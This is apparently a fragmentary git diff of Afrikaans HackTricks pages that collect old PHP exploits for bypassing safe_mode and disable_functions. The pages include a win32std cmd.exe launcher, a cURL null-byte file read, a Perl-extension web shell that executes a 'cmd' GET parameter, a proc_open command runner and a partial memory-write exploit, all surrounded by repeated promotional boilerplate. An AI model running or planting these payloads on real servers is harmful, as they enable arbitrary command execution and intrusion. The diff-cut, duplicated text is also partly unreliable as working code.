* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2 - FOpen Exploit
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2.3 - Win32std ext Protections Bypass
# PHP 5.2.3 - Win32std ext Beskerming Bypass
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass
@ -39,16 +40,17 @@ system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2.4 en 5.2.5 PHP cURL
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```text
source: http://www.securityfocus.com/bid/27413/info
@ -27,16 +28,17 @@ The issue affects PHP 5.2.5 and 5.2.4.
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00&quot;.__FILE__)));
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,25 +1,25 @@
# disable\_functions bypass - PHP <= 5.2.9 on windows
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## PHP <= 5.2.9 op Windows
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
# PHP &lt;= 5.2.9 op Windows
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
{% tabs %}
{% tab title="undefined" %}
{% tab title="exploit.php" %}
```php
<?php
//cmd.php
@ -83,16 +83,19 @@ exit
{% endtab %}
{% endtabs %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP Perl-uitbreiding Safe\_mode Bypass Exploit
# PHP Perl Uitbreiding Safe\_mode Bypass Exploit
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
@ -41,16 +42,17 @@ echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25>
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP safe\_mode-bypass via proc\_open\(\) en aangepaste omgewing Exploit
# PHP safe\_mode omseiling via proc\_open\(\) en pasgemaakte omgewing Exploit
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"),
1 =&gt; array("file", $path."/output.txt","w"),
@ -27,16 +28,17 @@ while (!feof($a))
?&gt;;
</strong>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# via mem
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
/*
@ -142,16 +143,17 @@ exit;
}
echo "[-] Write failed. Exiting\n";
```
{% hint style="success" %}
